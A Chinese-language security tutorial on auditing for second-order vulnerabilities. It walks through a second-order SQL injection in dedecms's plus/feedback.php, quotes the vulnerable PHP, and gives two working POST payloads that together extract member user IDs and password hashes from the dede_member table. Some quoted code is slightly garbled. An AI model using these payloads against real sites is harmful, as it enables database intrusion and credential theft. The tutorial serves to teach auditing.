二次漏洞审计

二次漏洞有点像存储型XSS漏洞,payload插进去了,能不能利用还得看页面输出有没有过滤,这一类漏洞挖掘起来逻辑会复杂许多。

什么是二次漏洞
需要先构造好利用代码写入网站保存,在第二次或者多次请求后调用攻击代码触发或者修改配置触发的漏洞叫做二次漏洞。
二次漏洞的出现归根结底是开发者在可新数据的逻辑上考虑不周全,整个漏洞产生的流程图如下图所示:
二次漏洞审计
这样的漏洞没有很大的逻辑关系,所以在发现和修补上面都比一般的直接利用的漏洞相对复杂一点。

二次漏洞审计技巧
虽然二次漏洞写入payload和触发payload很可能不在一个地方,但是还是可以通过找相关关键字去定位,只是精度会降低。为了更好地挖掘到二次漏洞,最好还是把代码读一遍,能帮助我们更好地了解程序的业务逻辑和全局配置。
业务逻辑越复杂的地方越容易出现二次漏洞,我们可以重点关注购物车、订单这块,还有引用数据、文章编辑、草稿等,这些地方是跟数据库交互的,我们还可以重点关注SQL注入、XSS。

dedecms二次注入漏洞分析
漏洞在dedecms\uploads\plus\feedback.php文件,代码如下:
//保存评论内容
if($comtype == ‘comments’)
{
$arctitle = addslashes($title);
$typeid = intval($typeid);
$ischeck = intval($ischeck);
$feedbacktype = preg_replace(“#[^0-9a-z]#i”, “”, $feedbacktype);
if($msg!=’’)
{
$inquery = “INSERT INTO #@__feedback(aid,typeid,username,arctitle,ip,ischeck,dtimemid,bad,good,ftype,face,msg)
VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’, ‘{$cfg_ml->M_ID}’,’0’,’0’,’$feedbacktype’,’$face’,’$msg’); “;
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(‘ 发表评论错误! ‘, ‘-1’);
//echo $dsql->GetError();
exit();
}
}
}
这段代码的功能是保护用户 在文章评论页面提交的评论信息,其中 $arctitle = addslashes($title);获取被评论的文章标题,这里使用了addslashes()函数过滤,接着:
$inquery = “INSERT INTO #@__feedback(aid,typeid,username,arctitle,ip,ischeck,dtimemid,bad,good,ftype,face,msg)
VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’, ‘{$cfg_ml->M_ID}’,’0’,’0’,’$feedbacktype’,’$face’,’$msg’); “;
$rs = $dsql->ExecuteNoneQuery($inquery);
将提交的$arctitle变量保存到数据库中。

我们接着看下面的代码:
//引用回复
elseif ($comtype == ‘reply’)
{
$row = $dsql->GetOne(“SELECT FROM #@__feedback WHERE id =’$fid’”);
$arctitle = addslashes($row[‘arctitle’]);
$aid =$row[‘aid’];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg, 2);
$inquery = “INSERT INTO #@__feedback(aid,typeid,username,arctitle,ip,ischeck,dtime,mid,bad,good,ftype,face,msg)
VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’,’{$cfg_ml->M_ID}’,’0’,’0’,’$feedbacktype’,’$face’,’$msg’)”;
$dsql->ExecuteNoneQuery($inquery);
}
这段代码的作用是引用之前的评论到新的评论中,其中:
$row = $dsql->GetOne(“SELECT 
FROM #@__feedback WHERE id =’$fid’”);
$arctitle = addslashes($row[‘arctitle’]);
去除之前提交的文章标题,赋值给$arctitle变量,再往下:
$inquery = “INSERT INTO #@__feedback(aid,typeid,username,arctitle,ip,ischeck,dtime,mid,bad,good,ftype,face,msg)
VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’,’{$cfg_ml->M_ID}’,’0’,’0’,’$feedbacktype’,’$face’,’$msg’)”;
$dsql->ExecuteNoneQuery($inquery);
可以看到$arctitle变量被写入到数据库。这个 $arctitle是由用户提交的,第一次写入数据库的时候使用了addslashes()函数,但是引用评论重新写入数据库的时候并没有过滤,文章标题的数据在整个流程的变化如下图:
二次漏洞审计
在这个漏洞中,标题字段有60多个字符的长度限制,不能一次性的把完整的payload写入进去,所以我们需要两次提交payload。第一次请求:
在浏览器输入:http://localhost/dedecms/uploads//plus/feedback.php?aid=52
POST内容:action=send&comtype=comments&aid=52&isconfirm=yes&msg=xx&validate=BRUN&title=xx’,(char(@')),/*
结果如下图:
二次漏洞审计

第二次请求:
在浏览器输入:http://127.0.0.1/dedecms/uploads//plus/feedback.php?aid=52
POST内容:
action=send&comtype=reply&fid=34&isconfirm=yes&validate=sill&msg=(*/1,2,3,4,5,6,7,(select//concat(userid,0x3a,pwd)//from/dede_member//limit//1))%23
结果如下图:
二次漏洞审计